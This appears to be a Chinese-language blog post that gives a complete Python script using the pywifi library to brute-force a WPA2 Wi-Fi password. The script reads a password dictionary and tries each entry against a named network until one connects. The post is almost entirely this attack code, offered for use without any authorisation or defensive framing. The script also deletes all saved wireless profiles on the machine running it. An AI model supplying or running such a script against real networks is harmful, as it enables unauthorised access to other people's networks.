Python暴力破解wifi

根據文件暴力枚舉wifi密碼

import pywifi
from pywifi import const
import time

wifi = pywifi.PyWiFi()  #抓取網卡接口
iface = wifi.interfaces()[0] #抓取第一個無線網卡
iface.disconnect()  #測試鏈接斷開所有鏈接

  #讀取密碼字典,進行匹配
def readPassWord(path,name):
    getFilePath =path
    get_wifissid = name
    pwdfilehander=open(getFilePath,"r",errors="ignore")
    while True:
        try:
          pwdStr =pwdfilehander.readline()
          if not pwdStr:
            break
          bool1=connect(pwdStr,get_wifissid)
          if bool1:
            res = "===正確===  wifi名:%s  匹配密碼:%s "%(get_wifissid,pwdStr)
            print(res)
            break
          else:
            res = "---錯誤--- wifi名:%s匹配密碼:%s"%(get_wifissid,pwdStr)
            print(res)
          sleep(3)
        except:
          continue
      
  #對wifi和密碼進行匹配
def connect(pwd_Str,wifi_ssid):
    #創建wifi鏈接文件
    profile = pywifi.Profile()
    profile.ssid =wifi_ssid #wifi名稱
    profile.auth = const.AUTH_ALG_OPEN  #網卡的開放
    profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
    profile.cipher = const.CIPHER_TYPE_CCMP    #加密單元
    profile.key = pwd_Str #密碼
    iface.remove_all_network_profiles() #刪除所有的wifi文件
    tmp_profile = iface.add_network_profile(profile)#設定新的鏈接文件
    iface.connect(tmp_profile)#鏈接
    time.sleep(5)
    if iface.status() == const.IFACE_CONNECTED:  #判斷是否連接上
      isOK=True   
    else:
      isOK=False
    iface.disconnect() #斷開
    time.sleep(1)
    #檢查斷開狀態
    assert iface.status() in\
        [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    return isOK

if __name__ == '__main__':
    readPassWord(path="C:/Users/Administrator/Desktop/py/密碼.txt",name="H3C_B55F14")



path是密碼字典的路徑,name是wifi名稱

原文鏈接

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章